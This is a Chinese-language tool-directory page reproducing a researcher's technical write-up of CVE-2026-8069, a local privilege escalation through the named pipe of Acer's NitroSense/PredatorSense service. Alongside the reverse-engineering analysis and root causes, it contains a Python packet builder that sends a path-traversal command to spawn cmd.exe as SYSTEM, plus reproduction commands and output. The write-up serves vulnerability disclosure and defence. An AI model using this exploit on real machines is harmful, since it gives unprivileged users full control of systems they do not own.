Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8069 — CVE-2026-8069 的技术文章与概念验证,这是 Acer NitroSense 和 PredatorSense 服务中的本地权限提升漏洞,利用命名管道以 SYSTEM 身份执行任意代码。 | Kitploit
工具/GitHubGitHub/s1eezer/cve-2026-8069
权限提升漏洞利用框架漏洞分析漏洞利用逆向工程二进制分析
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

CVE-2026-8069 的技术文章与概念验证,这是 Acer NitroSense 和 PredatorSense 服务中的本地权限提升漏洞,利用命名管道以 SYSTEM 身份执行任意代码。

查看仓库
191个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

从宏碁命名管道到 NT AUTHORITY\SYSTEM:CVE-2026-8069

宏碁 NitroSense 和 PredatorSense 3.x 安装了一个名为 PSSvc 的 Windows 服务,该服务向本地用户暴露了一个自定义命名管道协议。其中一个协议命令接受调用者可控的可执行文件路径,复制 winlogon.exe 的令牌,并以 NT AUTHORITY\SYSTEM 身份启动该可执行文件。

该易受攻击服务中的路径限制是一个子字符串测试。以服务目录开头然后使用 ..\ 组件的路径能够通过测试,但实际解析到其他位置。结合管道的宽松访问控制以及缺少调用者授权,这使得标准本地用户能够获得 SYSTEM 进程。

宏碁分配了 CVE-2026-8069,发布了修复版本,并在其安全公告中对赫拉德茨-克拉洛韦大学的 Artem Domarev 表示了致谢。

本文重点介绍进程创建/本地提权路径。宏碁的公告还描述了任意文件删除,这不在本次验证的范围内。

我为什么选择这个研究方向

研究方向的选择也受到了 SensePost 的 Leon Jacobs 发表的关于 OEM 软件的公开分析的影响。该工作记录了 ASUS DriverHub、MSI Center、Acer Control Centre 和 Razer Synapse 4 中的漏洞(Jacobs, 2025)。它强化了这样一种观点:供应商提供的硬件实用程序可能暴露有意义且未被充分探索的攻击面。我没有重新研究 Acer Control Centre,而是将调查扩展到宏碁的另一个产品系列:NitroSense 和 PredatorSense。

执行摘要

项目结果
CVECVE-2026-8069
测试的易受攻击组件PSSvc.exe 3.1.3052.0,由 Acer Incorporated 签名
服务身份LocalSystem
IPC 端点\\.\pipe\predatorsense_service_namedpipe
易受攻击的命令0x0007
所需攻击者访问权限能够运行程序的身份验证本地用户
用户交互无
结果以 NT AUTHORITY\SYSTEM 身份启动任意可执行文件
NVD CVSS v3.17.8 高危 — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
修复版本PredatorSense 3.00.3198;NitroSense 3.01.3056

利用链很短:

身份验证本地用户
        │
        ▼
宽松的 PSSvc 命名管道
        │  自定义命令 0x0007
        ▼
仅子字符串路径检查
        │  服务目录\..\..\..\Windows\System32\cmd.exe
        ▼
复制活动会话的 winlogon.exe 令牌
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

版本号警告

公开表述中存在不一致之处。宏碁的页面称 NitroSense 版本“早于 3.01.3052”受影响,但本文测试的供应商签名 PSSvc.exe 版本 3.1.3052.0 已被证明存在漏洞。同一页面将 NitroSense 3.01.3056 列为修复版本。NVD 适用性范围也延伸至但不包括 3.01.3056。

对于 PredatorSense,宏碁的受影响版本描述在 3.00.3196 之前停止,而列出的修复版本是 3.00.3198,NVD 使用后者作为上限。

因此,保守的操作规则很简单:不要使用含糊的“受影响”描述作为补丁检查依据。请至少升级到宏碁指定的修复版本——PredatorSense 3.00.3198 或 NitroSense 3.01.3056——或更新的兼容型号的软件包。

测试工件

该问题已使用原始 NitroSense 软件包复现。

工件SHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
已安装的 PSSvc.exe 3.1.3052.03BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
用于验证的 PoC31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163

PSSvc.exe 的 Authenticode 签名验证成功并链接到 Acer Incorporated。MSI 将 PSSvc 安装为以 LocalSystem 身份运行的按需启动、独立进程服务。

我如何发现易受攻击的路径

1. 从特权服务开始

NitroSense 软件包安装:

SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

SYSTEM 服务并不自动存在漏洞。关键问题是较低权限的进程是否能够触达那些在设计时假定调用者可信的功能。

字符串分析立即暴露了 IPC 端点:

\\.\pipe\predatorsense_service_namedpipe

2. 检查命名管道安全描述符

在 0x140014AD0 处,该服务构造管道并向 CreateNamedPipeW 传递一个显式安全描述符:

D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

这一点需要明确纠正:易受攻击的版本不会传递 NULL 描述符。它创建了一个宽松的 DACL。

SID 缩写主体SDDL 中的有效权限
BG内置来宾完全控制
AN匿名拒绝完全控制
AU身份验证用户读取、写入和执行
BA内置管理员完全控制

AU ACE 足以让普通身份验证用户打开管道进行读写。服务器随后不会模拟客户端并在分派特权命令之前执行授权决策。

3. 还原线格式

0x14000ABB0 处的客户端线程将消息读入 512 字节缓冲区。它将前三个字节解析为 16 位命令号和 8 位参数计数。每个参数都有长度前缀:

偏移量  大小  含义
0x00    2     命令 ID,小端序
0x02    1     参数数量
0x03    4     参数 0 的长度
0x07    n     参数 0 的字节
...           重复的 DWORD 长度 + 值

字符串参数为 UTF-16LE。整数参数为小端序 DWORD。调度器接受低于 0x23 的命令 ID,并将它们用作 0x140052C90 处 35 项函数表的索引。

命令 0x0007 的条目指向 0x14000BFD0。

4. 跟踪命令 0x0007

简化为其安全相关行为,该处理程序如下所示:

int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr 仅回答一个字符串是否出现在另一个字符串中。它不会规范化路径、解析点段、打开文件或证明最终对象仍位于受信任目录下。

假设服务安装在:

C:\Program Files\Acer\NitroSense_Service

以下路径在偏移零处包含该目录,因此 wcsstr 成功:

C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows 将点段解析为:

C:\WINDOWS\System32\cmd.exe

这是一个经典的规范化错误:验证在一种文本表示上执行,而敏感操作消费的是其规范化后的含义。

5. 跟踪令牌分支

0x1400091F0 处的进程启动辅助函数在第二个参数为 0x72(十进制 114)时有一个特殊分支。它:

  1. 获取活动控制台会话 ID;
  2. 查询活动用户的令牌并创建环境块;
  3. 使用 CreateToolhelp32Snapshot 枚举进程;
  4. 在活动会话中定位 winlogon.exe;
  5. 打开进程及其令牌;
  6. 将令牌复制为主令牌;
  7. 将复制的令牌设置为高完整性;以及
  8. 在 winsta0\default 上启动调用者提供的路径。

测试二进制中的关键调用点如下:

操作地址
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7

这意味着命令 0x0007 不仅仅是要求服务启动其自己的受信任工具之一。它向普通用户可以访问的管道暴露了一个通用的 SYSTEM 令牌进程启动器。

构建 PoC

基本的数据包构建器很小:

import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# 处理程序期望路径、令牌模式和另外八个槽位。
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

完整的验证脚本使用 CreateFileW 打开管道,设置消息模式,发送此数据包,并解码服务的回复。它会发现已安装的服务路径而不是硬编码,并在发送任何内容之前检查规范化后的目标。

本文使用的完整脚本可在 acer_cve_2026_8069_poc.py 获取。

复现

步骤 1:安装易受攻击的版本

供应商的 Setup.exe 执行硬件检查并提供私有 MSI 属性。我提取了 NitroSense.msi 并从 .NET 引导程序中恢复了这些属性:

$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

这些属性在未通过其环境检查的硬件上重现了引导程序的安装路径。

安装后,我验证了文件版本、SHA-256 和签名,然后启动了按需启动的服务:

sc.exe qc PSSvc
sc.exe start PSSvc

步骤 2:使用标准本地账户

请求是从一个以中等完整性运行的标准非管理本地账户发送的。

步骤 3:触发命令 0x0007

从该账户:

py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

服务返回:

[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1

[CRITICAL] PROCESS CREATED SUCCESSFULLY

步骤 4:独立验证

PoC 的成功消息本身并不是证明。我从管理证据通道独立查询了生成的进程:

Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

SYSTEM shell 是交互式会话中 PSSvc.exe 的直接子进程,其命令行上保留了遍历路径。

我还在成功请求期间跟踪了服务 API。跟踪记录了活动会话 1、成功的 WTSQueryUserToken、进程快照、对会话 winlogon.exe 的 OpenProcess、成功的 DuplicateTokenEx、完整性令牌修改以及进程启动辅助函数的成功返回。

原始 PoC 录制显示 cmd.exe 由 NT AUTHORITY SYSTEM 拥有,whoami 返回 nt authority\system。

显示 SYSTEM shell 的 PoC 录制。

根本原因

这不是一个孤立的错误比较。利用需要多个信任失败同时出现:

  1. 管道 DACL 允许身份验证用户读写。
  2. 服务器接受自定义特权命令而不对客户端进行身份验证或授权。
  3. 可执行文件白名单使用 wcsstr 而非规范化路径验证实现。
  4. 该命令暴露了故意复制高特权 winlogon.exe 令牌的代码。
  5. 调用者控制最终传递给进程创建的应用程序路径。

移除最后四个环节中的任何一个都可以阻止此本地提权路径。纵深防御应移除所有环节。

修复建议

下载工具